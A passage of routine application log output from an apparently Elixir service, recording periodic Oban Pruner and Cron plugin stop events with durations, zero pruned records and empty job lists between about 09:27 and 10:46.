{"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.185 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:27:03.228 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:33.230 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.186 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:28:03.232 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:33.234 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:00.187 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:29:03.236 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:33.238 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.188 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:30:03.240 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:33.242 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.189 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:31:03.244 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:33.246 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.190 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:32:03.248 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:33.250 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.191 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:33:03.252 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:33.254 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.192 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:34:03.256 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:33.258 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.193 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:35:03.260 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:33.262 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.194 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:36:03.264 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:33.266 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:00.195 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:37:03.268 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:33.270 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.196 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:38:03.272 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:33.274 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.197 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:39:03.276 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:33.278 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.198 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:40:03.280 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:33.282 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.199 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:41:03.284 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:33.286 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.200 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:42:03.288 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:33.290 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.201 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:43:03.292 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:33.294 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.202 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:44:03.296 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:33.298 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.203 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:45:03.300 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:33.302 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.204 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:46:03.304 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:33.306 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.205 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:47:03.308 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:33.310 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.206 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:48:03.312 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:33.314 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.207 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:49:03.316 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:33.318 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.208 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:50:03.320 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:33.322 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.209 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:51:03.324 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:33.326 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.210 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:52:03.328 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:33.330 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.211 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:53:03.332 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:33.334 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.212 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:54:03.336 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:33.338 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.213 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:55:03.340 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:33.342 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.214 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:56:03.344 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:33.346 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.215 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:57:03.348 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:33.349 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.216 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:58:03.352 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:33.354 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.217 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:59:03.356 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:33.358 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.218 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:00:03.360 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:33.362 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:00.219 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:01:03.364 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:33.366 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.220 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:02:03.368 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:33.370 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.221 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:03:03.372 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:33.374 [info] {"source":"oban","duration":1800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.222 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:04:03.377 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:33.379 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.223 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:05:03.381 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:33.383 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.224 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:06:03.385 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:33.387 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.225 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:07:03.389 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:33.392 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.226 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:08:03.394 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:33.396 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:00.227 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:09:03.398 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:33.400 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.228 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:10:03.402 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:33.404 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:00.229 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:11:03.406 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:33.408 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.230 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:12:03.410 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:33.412 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.231 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:13:03.414 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:33.416 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.232 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:14:03.418 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:33.420 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.233 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:15:03.422 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:33.424 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.234 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:16:03.426 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:33.428 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.235 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:17:03.430 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:33.432 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.236 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:18:03.434 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:33.436 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.237 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:19:03.438 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:33.440 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.238 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:20:03.442 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:33.444 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.239 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:21:03.446 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:33.448 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.240 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:22:03.450 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:33.452 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.241 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:23:03.454 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:33.456 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.242 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:24:03.458 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:33.460 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.243 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:25:03.462 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:33.464 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.244 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:26:03.466 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:33.468 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.245 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:27:03.470 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:33.472 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.246 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:28:03.474 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:33.476 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.247 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:29:03.478 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:33.480 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:00.248 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:30:03.482 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:33.484 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.249 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:31:03.486 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:33.488 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:00.250 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:32:03.490 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:33.492 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.251 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:33:03.494 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:33.496 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.252 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:34:03.498 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:33.500 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.253 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:35:03.502 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:33.504 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.254 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:36:03.506 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:33.508 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.255 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:37:03.510 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:33.512 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.256 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:38:03.514 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:33.516 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.257 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:39:03.518 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:33.520 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.258 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:40:03.522 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:33.524 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.259 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:41:03.526 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:33.528 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.260 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:42:03.530 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:33.532 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.261 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:43:03.534 [info] {"source":"oban","duration":1157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:33.535 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.262 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:44:03.538 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:33.540 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.263 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:45:03.542 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:33.544 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.264 [info] 